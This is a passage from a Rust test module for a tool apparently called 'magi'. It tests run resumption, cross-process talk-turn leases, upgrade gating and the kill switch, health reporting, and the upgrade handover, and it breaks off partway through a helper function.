16506            assert_eq!(res.status, 409, "{word} must not be resumable");
16507            let err = res.json()["error"].as_str().unwrap().to_owned();
16508            assert!(err.contains(word), "the refusal names the status: {err}");
16509        }
16510
16511        // And an interrupted run is accepted: 202, with the resume running in
16512        // the background. `Runner::resume` fails immediately here - the
16513        // fixture's run points at a repository that does not exist - which is
16514        // the point: the handler must not wait for it to find out.
16515        let mid = "20260901-000000-midf";
16516        write_run(&runs, mid, RunStatus::Reviewing);
16517        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
16518        assert_eq!(res.status, 202, "an interrupted run is resumable");
16519    }
16520
16521    #[tokio::test]
16522    async fn resume_is_refused_while_the_loop_is_running() {
16523        let fx = Fixture::start().await;
16524        let runs = fx.runs();
16525        let stalled = "20260901-000000-stal";
16526        write_run(&runs, stalled, RunStatus::Stalled);
16527
16528        // The loop is busy with a *different* run, and that is still a
16529        // refusal: a manual resume must never race whatever the loop itself
16530        // is already driving, whether that is one run or several.
16531        let mut beat = crate::daemon::Status::new();
16532        beat.current = vec![crate::daemon::Current {
16533            task: "20260901-000000-task".to_owned(),
16534            run: "20260901-000000-othr".to_owned(),
16535        }];
16536        beat.updated_at = jiff::Timestamp::now();
16537        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16538            .expect("publish a heartbeat");
16539
16540        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
16541        assert_eq!(res.status, 409);
16542        let err = res.json()["error"].as_str().unwrap().to_owned();
16543        assert!(err.contains("othr"), "it names what the loop is on: {err}");
16544        assert!(err.contains("stop it first"), "{err}");
16545    }
16546
16547    #[test]
16548    fn a_run_cannot_be_resumed_twice_at_once() {
16549        let home = TempDir::new().expect("temp home");
16550        let ui = Ui::new(
16551            Queue::at(home.path().join("queue")),
16552            Questions::at(home.path().join("questions")),
16553            Talks::at(home.path().join("talks")),
16554            home.path().join("runs"),
16555            home.path().to_path_buf(),
16556            PathBuf::from("/repo"),
16557        )
16558        .with_worktrees_root(home.path().join("wt"));
16559        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
16560        let again = ui.begin_resume("20260901-000000-once");
16561        assert!(again.is_err(), "a second tap must not start a second graph");
16562        drop(first);
16563        assert!(
16564            ui.begin_resume("20260901-000000-once").is_ok(),
16565            "and the claim is released when the attempt ends"
16566        );
16567    }
16568
16569    #[test]
16570    fn talk_thinking_tracks_only_its_held_turn_claim() {
16571        let home = TempDir::new().expect("temp home");
16572        let ui = Ui::new(
16573            Queue::at(home.path().join("queue")),
16574            Questions::at(home.path().join("questions")),
16575            Talks::at(home.path().join("talks")),
16576            home.path().join("runs"),
16577            home.path().to_path_buf(),
16578            PathBuf::from("/repo"),
16579        )
16580        .with_worktrees_root(home.path().join("wt"));
16581        let id = "20260901-000000-once";
16582
16583        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
16584        let turn = ui.begin_talk_turn(id).expect("claim turn");
16585        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
16586        assert!(
16587            !ui.is_thinking("20260901-000000-other"),
16588            "one talk's turn does not make another talk busy"
16589        );
16590        drop(turn);
16591        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
16592    }
16593
16594    #[test]
16595    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
16596        let home = TempDir::new().expect("temp home");
16597        let talks = Talks::at(home.path().join("talks"));
16598        let ui = Ui::new(
16599            Queue::at(home.path().join("queue")),
16600            Questions::at(home.path().join("questions")),
16601            talks.clone(),
16602            home.path().join("runs"),
16603            home.path().to_path_buf(),
16604            PathBuf::from("/repo"),
16605        )
16606        .with_worktrees_root(home.path().join("wt"));
16607        let id = "20260901-000000-cross";
16608
16609        let other = Talks::at(home.path().join("talks"))
16610            .claim_turn(id)
16611            .expect("claim")
16612            .expect("the other process wins");
16613        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
16614        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
16615        assert!(
16616            matches!(
16617                ui.begin_talk_turn_unless_pending(id).expect("start"),
16618                TalkTurnStart::Foreign
16619            ),
16620            "a foreign holder is refused, not queued behind"
16621        );
16622        assert!(
16623            !ui.talk_turns.lock().unwrap().live.contains(id),
16624            "a refused claim leaves no in-process entry behind"
16625        );
16626        drop(other);
16627        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
16628        assert!(talks.turn_held(id), "the web turn holds the lease");
16629        drop(turn);
16630        assert!(
16631            !talks.turn_held(id),
16632            "dropping the guard releases the lease"
16633        );
16634    }
16635
16636    fn consult_question(ui: &Ui) -> Question {
16637        let mut q = Question::new(
16638            "20260901-000000-consult".to_owned(),
16639            "implement".to_owned(),
16640            "impl-A".to_owned(),
16641            "Which backend?".to_owned(),
16642            String::new(),
16643            vec!["SQLite".to_owned(), "Redis".to_owned()],
16644        );
16645        ui.questions.put(&mut q).expect("question");
16646        q
16647    }
16648
16649    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
16650        (
16651            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
16652            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
16653        )
16654    }
16655
16656    #[tokio::test]
16657    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
16658        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
16659        let q = consult_question(&ui);
16660        let talk = ui.talks.get(&id).expect("talk");
16661        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
16662        let before = consult_snapshot(&ui, &q, &id);
16663        let cli_talks = Talks::at(ui.home.join("talks"));
16664        assert_eq!(
16665            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
16666                .await
16667                .expect("CLI starter"),
16668            crate::consult::Started::Busy
16669        );
16670        assert_eq!(consult_snapshot(&ui, &q, &id), before);
16671        assert!(ui.is_thinking(&id));
16672        drop(guard);
16673        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
16674    }
16675
16676    #[tokio::test]
16677    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
16678        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
16679        let q = consult_question(&ui);
16680        let talk = ui.talks.get(&id).expect("talk");
16681        let started = tmp.path().join("started");
16682        let release = tmp.path().join("release");
16683        let script = tmp.path().join("consult-agent.sh");
16684        std::fs::write(
16685            &script,
16686            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
16687        )
16688        .expect("script");
16689        let mut cfg = stub_config();
16690        cfg.agents[0].id = "mock".to_owned();
16691        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
16692        cfg.agents[0].env = std::collections::BTreeMap::from([
16693            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
16694            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
16695        ]);
16696        let questions = ui.questions.clone();
16697        let cli_talks = Talks::at(ui.home.join("talks"));
16698        let cli_q = q.clone();
16699        let turn = tokio::spawn(async move {
16700            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
16701        });
16702        let ready = tokio::time::timeout(Duration::from_secs(30), async {
16703            while !started.exists() {
16704                tokio::time::sleep(Duration::from_millis(10)).await;
16705            }
16706        })
16707        .await;
16708        // Always release and join the agent, even if readiness or the web
16709        // request fails, so a failed assertion cannot leave a turn behind.
16710        let refusal = if ready.is_ok() {
16711            let before = consult_snapshot(&ui, &q, &id);
16712            let result = talk_say(
16713                State(Arc::clone(&ui)),
16714                Path(id.clone()),
16715                Ok(Json(NewTalkTurn {
16716                    reply_to: None,
16717                    text: "another message".to_owned(),
16718                    attachments: Vec::new(),
16719                })),
16720            )
16721            .await;
16722            Some((result, before, consult_snapshot(&ui, &q, &id)))
16723        } else {
16724            None
16725        };
16726        std::fs::write(&release, "").expect("release agent");
16727        let done = turn.await.expect("join CLI turn");
16728        ready.expect("agent started before deadline");
16729        let (result, before, after) = refusal.expect("web request");
16730        let error = result.expect_err("web must refuse the CLI's turn");
16731        assert_eq!(error.status, StatusCode::CONFLICT);
16732        assert!(error.message.contains("a turn is already running"));
16733        assert_eq!(
16734            after, before,
16735            "refusal preserves question, draft and history"
16736        );
16737        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
16738        let guard = ui
16739            .begin_talk_turn(&id)
16740            .expect("web claim")
16741            .expect("free again");
16742        drop(guard);
16743    }
16744
16745    #[test]
16746    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
16747        let home = TempDir::new().expect("temp home");
16748        let talks = Talks::at(home.path().join("talks"));
16749        let ui = Ui::new(
16750            Queue::at(home.path().join("queue")),
16751            Questions::at(home.path().join("questions")),
16752            talks.clone(),
16753            home.path().join("runs"),
16754            home.path().to_path_buf(),
16755            PathBuf::from("/repo"),
16756        )
16757        .with_worktrees_root(home.path().join("wt"));
16758        let id = "20260901-000000-order";
16759        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16760        // Hold the slot mutex so the drop can finish the lease but not the slot.
16761        let slots = ui.talk_turns.lock().unwrap();
16762        let dropper = std::thread::spawn(move || drop(turn));
16763        let start = std::time::Instant::now();
16764        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
16765            std::thread::sleep(Duration::from_millis(5));
16766        }
16767        assert!(!talks.turn_held(id), "the lease is released first");
16768        assert!(slots.live.contains(id), "the slot is still held meanwhile");
16769        drop(slots);
16770        dropper.join().expect("join");
16771        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
16772    }
16773
16774    #[tokio::test]
16775    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
16776        let fx = Fixture::start().await;
16777        // Somebody else's `magi serve` owns the queue. Replacing this binary
16778        // would leave that process running an old one against the same
16779        // claims, which is worse than refusing.
16780        let mut beat = crate::daemon::Status::new();
16781        beat.pid = 4321;
16782        beat.updated_at = jiff::Timestamp::now();
16783        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16784            .expect("publish a heartbeat");
16785
16786        let res = fx.post("/api/upgrade", None).await;
16787        assert_eq!(res.status, 409);
16788        let err = res.json()["error"].as_str().unwrap().to_owned();
16789        assert!(err.contains("4321"), "the refusal names the owner: {err}");
16790        assert!(err.contains("old one against the same queue"), "{err}");
16791    }
16792
16793    /// [`should_spawn_recheck`] must refuse for the same two reasons
16794    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
16795    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
16796    /// Purely a predicate over config and the environment - no network, no
16797    /// disk, no runtime - so unlike the fixture-based tests around it this
16798    /// one needs neither.
16799    #[test]
16800    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
16801        assert!(!should_spawn_recheck(&crate::config::Update {
16802            mode: UpdateMode::Off,
16803            interval: None,
16804        }));
16805
16806        // SAFETY: single-threaded as far as this variable goes, the same
16807        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
16808        unsafe {
16809            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16810        }
16811        let killed = should_spawn_recheck(&crate::config::Update {
16812            mode: UpdateMode::Notify,
16813            interval: None,
16814        });
16815        unsafe {
16816            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16817        }
16818        assert!(
16819            !killed,
16820            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
16821             one-time startup check"
16822        );
16823
16824        assert!(should_spawn_recheck(&crate::config::Update {
16825            mode: UpdateMode::Notify,
16826            interval: None,
16827        }));
16828    }
16829
16830    /// [`recheck_poll_period`] must track a configured `[update] interval`
16831    /// shorter than its own default ceiling - a fixed sleep here would leave
16832    /// an operator's short interval waiting on the next wake-up instead of on
16833    /// `should_check`, which is the same bug this whole task exists to fix,
16834    /// just one level down.
16835    #[test]
16836    fn recheck_poll_period_tracks_a_short_configured_interval() {
16837        let short = crate::config::Update {
16838            mode: UpdateMode::Notify,
16839            interval: Some("1m".to_owned()),
16840        };
16841        let period = recheck_poll_period(&short);
16842        assert!(
16843            period <= Duration::from_secs(30),
16844            "a one-minute interval must wake the task far sooner than the \
16845             default ceiling, or the deck would not notice within the \
16846             interval the operator configured: got {period:?}"
16847        );
16848
16849        let default = crate::config::Update {
16850            mode: UpdateMode::Notify,
16851            interval: None,
16852        };
16853        assert_eq!(
16854            recheck_poll_period(&default),
16855            UPDATE_RECHECK_POLL_MAX,
16856            "the default day-long interval should poll at the (capped) \
16857             ceiling rather than needlessly often"
16858        );
16859    }
16860
16861    /// [`update_recheck_due`] must not repeat a check made moments ago, the
16862    /// same throttle `updater::Checker::should_check` already gives the
16863    /// CLI's notify mode. Built over an explicit state file via
16864    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
16865    /// write the operator's real `last_update_check.json` - and therefore
16866    /// cannot flake on whatever that file happens to say on the machine
16867    /// running the test.
16868    #[test]
16869    fn recheck_skips_the_network_before_the_interval_elapses() {
16870        let dir = TempDir::new().expect("temp dir");
16871        let path = dir.path().join("state.json");
16872        let state = kaishin::UpdateCheckState {
16873            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
16874            last_known_latest: None,
16875            last_known_url: None,
16876        };
16877        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
16878
16879        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
16880        assert!(
16881            !update_recheck_due(&checker, None),
16882            "a check made moments ago must not be repeated before the \
16883             configured interval elapses"
16884        );
16885    }
16886
16887    /// An upgrade this deck already started must not be raced by a recheck
16888    /// that discovers a newer release mid-install - regardless of what
16889    /// `should_check` says, which is why the state file here is missing
16890    /// entirely: read alone, that alone would answer "never checked, go
16891    /// ahead".
16892    #[test]
16893    fn recheck_defers_to_an_upgrade_already_in_flight() {
16894        let dir = TempDir::new().expect("temp dir");
16895        let path = dir.path().join("state.json");
16896        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
16897        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
16898
16899        assert!(
16900            !update_recheck_due(&checker, Some(&progress)),
16901            "a recheck must not run while an upgrade this deck started is \
16902             still moving"
16903        );
16904    }
16905
16906    #[tokio::test]
16907    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
16908        // The same env var the background check honours (`disabled_by_env`)
16909        // must also stop a button press before it ever calls
16910        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
16911        // means "never contact GitHub from this process", and a tap on the
16912        // upgrade button must not override that any more than a broken
16913        // `magi.toml` may. Left unset, this fixture's default config would
16914        // otherwise reach a real, unauthenticated GitHub call.
16915        //
16916        // SAFETY: single-threaded as far as this variable goes - nothing else
16917        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
16918        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
16919        unsafe {
16920            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16921        }
16922        let fx = Fixture::start().await;
16923        let res = fx.post("/api/upgrade", None).await;
16924        unsafe {
16925            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16926        }
16927        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
16928        let body = res.json();
16929        assert!(body["to"].is_null(), "there was no release to move to");
16930        assert!(body["parked"].is_null(), "and nothing was parked");
16931        assert!(
16932            body["detail"]
16933                .as_str()
16934                .unwrap()
16935                .contains("disabled by MAGI_NO_AUTOUPDATE"),
16936            "{body:?}"
16937        );
16938    }
16939
16940    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
16941        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
16942        p.stage = stage;
16943        p
16944    }
16945
16946    #[test]
16947    fn busy_stages_match_the_ui_set() {
16948        use crate::updater::Stage;
16949        assert!(APP_JS.contains(
16950            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
16951        ));
16952        for s in [
16953            Stage::Downloading,
16954            Stage::Replaced,
16955            Stage::Parking,
16956            Stage::Restarting,
16957        ] {
16958            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
16959        }
16960        for s in [Stage::Done, Stage::Failed] {
16961            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
16962        }
16963        assert!(upgrade_in_motion(None).is_none());
16964    }
16965
16966    #[tokio::test]
16967    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
16968        use crate::updater::Stage;
16969        for stage in [
16970            Stage::Downloading,
16971            Stage::Replaced,
16972            Stage::Parking,
16973            Stage::Restarting,
16974        ] {
16975            let fx = Fixture::start().await;
16976            let seeded = seeded_progress(stage);
16977            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
16978            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
16979                .expect("read");
16980
16981            let res = fx.post("/api/upgrade", None).await;
16982            assert_eq!(res.status, 409, "{stage:?}");
16983            let err = res.json()["error"].as_str().unwrap().to_owned();
16984            assert!(err.contains("already in progress"), "{err}");
16985            assert!(err.contains(stage.as_str()), "{err}");
16986
16987            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
16988                .expect("read");
16989            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
16990            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
16991                .unwrap_or_default();
16992            assert!(!log.contains("signalling HANDOVER"), "{log}");
16993        }
16994    }
16995
16996    #[tokio::test]
16997    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
16998        use crate::updater::Stage;
16999        let repo = TempDir::new().expect("repo dir");
17000        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17001            .expect("write magi.toml");
17002        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17003        for stage in [Stage::Done, Stage::Failed] {
17004            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
17005            let res = fx.post("/api/upgrade", None).await;
17006            assert_eq!(res.status, 200, "{stage:?}");
17007        }
17008        // No record at all, and the gate was released by the earlier calls.
17009        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
17010        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
17011    }
17012
17013    #[tokio::test]
17014    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
17015        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
17016        // and the route answers from its own logic.
17017        //
17018        // This test used to lean on the fixture's placeholder repo failing
17019        // config discovery, which left `mode = "notify"` - and a live,
17020        // unauthenticated call to the GitHub releases API inside a unit test.
17021        // GitHub allows 60 of those an hour per address, so the suite went red
17022        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
17023        // long as somebody kept re-running it: every attempt spent another
17024        // request. Six reruns across four pull requests were charged to that
17025        // before it was read as a rate limit rather than a flake.
17026        //
17027        // What the assertion is about is the "already current" branch, which
17028        // is reached by there being no newer release *or* nowhere to look. The
17029        // second one needs no network and cannot be rate limited.
17030        let repo = TempDir::new().expect("repo dir");
17031        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17032            .expect("write magi.toml");
17033        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17034
17035        // It must answer 200 and leave the process alone: restarting for an
17036        // upgrade that did not happen parks the run in flight and drops every
17037        // connection to pay for nothing. A probe against a deck already on the
17038        // newest build did exactly that, which is how this case got its own
17039        // branch.
17040        let res = fx.post("/api/upgrade", None).await;
17041        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
17042        let body = res.json();
17043        assert!(body["to"].is_null(), "there was no release to move to");
17044        assert!(body["parked"].is_null(), "and nothing was parked");
17045        assert!(
17046            body["detail"]
17047                .as_str()
17048                .unwrap()
17049                .contains("nothing restarted"),
17050            "{body:?}"
17051        );
17052    }
17053
17054    #[tokio::test]
17055    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
17056        // `mode = "off"` for the same reason as the test above: a default
17057        // fixture repo falls back to `mode = "notify"`, which would make this
17058        // route's new `update` field a live, unauthenticated GitHub call on
17059        // every assertion in this suite that happens to hit `/api/health`.
17060        let repo = TempDir::new().expect("repo dir");
17061        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17062            .expect("write magi.toml");
17063        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17064
17065        let health = fx.get("/api/health").await.json();
17066        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
17067        assert_eq!(
17068            health["update"]["available"], false,
17069            "checking is off, which reads as \"unknown\", not \"none\""
17070        );
17071        assert!(health["update"]["to"].is_null());
17072        assert!(
17073            health["upgrade"].is_null(),
17074            "nothing has ever asked this deck to upgrade"
17075        );
17076    }
17077
17078    #[tokio::test]
17079    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
17080        let fx = Fixture::start().await;
17081        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
17082
17083        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17084        progress.parked_run = Some("20260905-000000-cd51".to_owned());
17085        progress.advance(crate::updater::Stage::Parking);
17086        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17087
17088        let health = fx.get("/api/health").await.json();
17089        assert_eq!(health["upgrade"]["stage"], "parking");
17090        assert_eq!(health["upgrade"]["from"], "0.5.1");
17091        assert_eq!(health["upgrade"]["to"], "0.5.2");
17092        let waiting_on = health["upgrade"]["waiting_on"]
17093            .as_str()
17094            .expect("waiting_on is set while parking a known run");
17095        assert!(waiting_on.contains("cd51"), "{waiting_on}");
17096        assert!(waiting_on.contains("implementing"), "{waiting_on}");
17097    }
17098
17099    #[tokio::test]
17100    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
17101        let fx = Fixture::start().await;
17102        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17103        progress.advance(crate::updater::Stage::Done);
17104        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17105
17106        let health = fx.get("/api/health").await.json();
17107        assert_eq!(health["upgrade"]["stage"], "done");
17108        assert!(
17109            health["upgrade"]["waiting_on"].is_null(),
17110            "nothing to wait on once it is done"
17111        );
17112    }
17113
17114    #[tokio::test]
17115    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
17116        let home = TempDir::new().expect("temp home");
17117        let runs = home.path().join("runs");
17118        std::fs::create_dir_all(&runs).expect("runs dir");
17119        let ui = Ui::new(
17120            Queue::at(home.path().join("queue")),
17121            Questions::at(home.path().join("questions")),
17122            Talks::at(home.path().join("talks")),
17123            runs,
17124            home.path().to_path_buf(),
17125            PathBuf::from("/repo/magi"),
17126        )
17127        .with_launch(launch_idle);
17128        let looping = ui.looping();
17129        let turns = ui.turns();
17130        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17131            .await
17132            .expect("bind loopback");
17133        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17134
17135        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17136        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17137
17138        hand_over(
17139            home.path(),
17140            &looping,
17141            &turns,
17142            &|_: &[String]| Duration::from_secs(5),
17143            served,
17144            |_| Ok(1),
17145        )
17146        .await
17147        .expect("hand over");
17148
17149        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
17150        assert_eq!(
17151            after.stage,
17152            crate::updater::Stage::Restarting,
17153            "hand_over owns the record through parking and up to restarting; \
17154             the successor is what finishes it"
17155        );
17156    }
17157
17158    /// The successor is started exactly once on success, and exactly once on
17159    /// failure too (a failed start is reported, never retried).
17160    #[tokio::test]
17161    async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
17162        for fail in [false, true] {
17163            let home = TempDir::new().expect("temp home");
17164            let ui = idle_ui(&home);
17165            let looping = ui.looping();
17166            let turns = ui.turns();
17167            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17168                .await
17169                .expect("bind loopback");
17170            let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17171            let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17172            crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17173
17174            let calls = std::sync::atomic::AtomicUsize::new(0);
17175            let outcome = hand_over(
17176                home.path(),
17177                &looping,
17178                &turns,
17179                &|_: &[String]| Duration::from_secs(5),
17180                served,
17181                |_| {
17182                    calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17183                    if fail {
17184                        anyhow::bail!("no exec")
17185                    } else {
17186                        Ok(4242)
17187                    }
17188                },
17189            )
17190            .await;
17191            assert_eq!(outcome.is_err(), fail);
17192            assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17193
17194            let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
17195                .expect("upgrade.log is written under the home");
17196            for step in [
17197                "entered",
17198                "finish_loop",
17199                "listener released",
17200                "starting the successor",
17201            ] {
17202                assert!(log.contains(step), "missing `{step}` in:\n{log}");
17203            }
17204            assert!(
17205                log.contains(if fail { "did not start" } else { "pid 4242" }),
17206                "{log}"
17207            );
17208        }
17209    }
17210
17211    /// The handover signal is seen however the race falls, and wakes its one
17212    /// waiter once per signal - nothing here can spin.
17213    #[tokio::test]
17214    async fn the_handover_signal_wakes_one_waiter_once() {
17215        let signal = Notify::new();
17216        // Signalled before anyone waits: the stored permit is not lost.
17217        signal.notify_one();
17218        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
17219            .await
17220            .expect("an early signal is still seen");
17221        // One signal, one wake-up: a second wait does not resolve by itself.
17222        assert!(
17223            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
17224                .await
17225                .is_err(),
17226            "a consumed signal must not wake a second time"
17227        );
17228        // Signalled while waiting.
17229        let signal = std::sync::Arc::new(signal);
17230        let waiter = tokio::spawn({
17231            let signal = std::sync::Arc::clone(&signal);
17232            async move { wait_for_handover(&signal).await }
17233        });
17234        tokio::time::sleep(Duration::from_millis(20)).await;
17235        assert!(!waiter.is_finished(), "nothing was signalled yet");
17236        signal.notify_one();
17237        tokio::time::timeout(Duration::from_secs(5), waiter)
17238            .await
17239            .expect("a late signal wakes the waiter")
17240            .expect("join");
17241    }
17242
17243    #[tokio::test]
17244    async fn health_says_how_long_a_handover_has_been_stuck() {
17245        let fx = Fixture::start().await;
17246        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17247        progress.advance(crate::updater::Stage::Replaced);
17248        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
17249        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17250
17251        let health = fx.get("/api/health").await.json();
17252        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
17253        assert!(stuck >= 600, "{stuck}");
17254        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
17255        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
17256    }
17257
17258    #[tokio::test]
17259    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
17260        let home = tempfile::tempdir().expect("temp home");
17261        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17262        progress.advance(crate::updater::Stage::Parking);
17263        crate::updater::write_progress(home.path(), &progress).expect("seed");
17264        // What the second upgrade_and_restart and its handler do.
17265        let mut again = progress.clone();
17266        again.advance(crate::updater::Stage::Replaced);
17267        crate::updater::write_progress(home.path(), &again).expect("replaced");
17268        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17269        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
17270        let after = crate::updater::read_progress(home.path()).expect("record");
17271        assert_eq!(after.stage, crate::updater::Stage::Parking);
17272    }
17273
17274    #[tokio::test]
17275    async fn health_does_not_call_a_live_parking_wait_stuck() {
17276        let fx = Fixture::start().await;
17277        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17278        progress.parked_run = Some("20260905-000000-cd51".to_owned());
17279        progress.advance(crate::updater::Stage::Parking);
17280        let hours = Duration::from_secs(3 * 3600);
17281        progress.started_at = Timestamp::now() - hours;
17282        progress.updated_at = Timestamp::now() - hours;
17283        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17284        let _lease = crate::updater::LeaseGuard::enter(
17285            fx.home.path(),
17286            Some("20260905-000000-cd51".to_owned()),
17287        );
17288
17289        let health = fx.get("/api/health").await.json();
17290        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
17291        assert!(health["upgrade"]["stuck_kind"].is_null());
17292        assert_eq!(health["upgrade"]["handover_alive"], true);
17293        let waiting_on = health["upgrade"]["waiting_on"]
17294            .as_str()
17295            .expect("waiting_on");
17296        assert!(waiting_on.contains("cd51"), "{waiting_on}");
17297    }
17298
17299    fn idle_ui(home: &TempDir) -> Ui {
17300        let runs = home.path().join("runs");
17301        std::fs::create_dir_all(&runs).expect("runs dir");
17302        Ui::new(
17303            Queue::at(home.path().join("queue")),
17304            Questions::at(home.path().join("questions")),
17305            Talks::at(home.path().join("talks")),
17306            runs,
17307            home.path().to_path_buf(),
17308            PathBuf::from("/repo/magi"),
17309        )
17310        .with_launch(launch_idle)
17311    }
17312
17313    async fn park_fixture(
17314        home: &TempDir,
17315    ) -> (
17316        Ui,
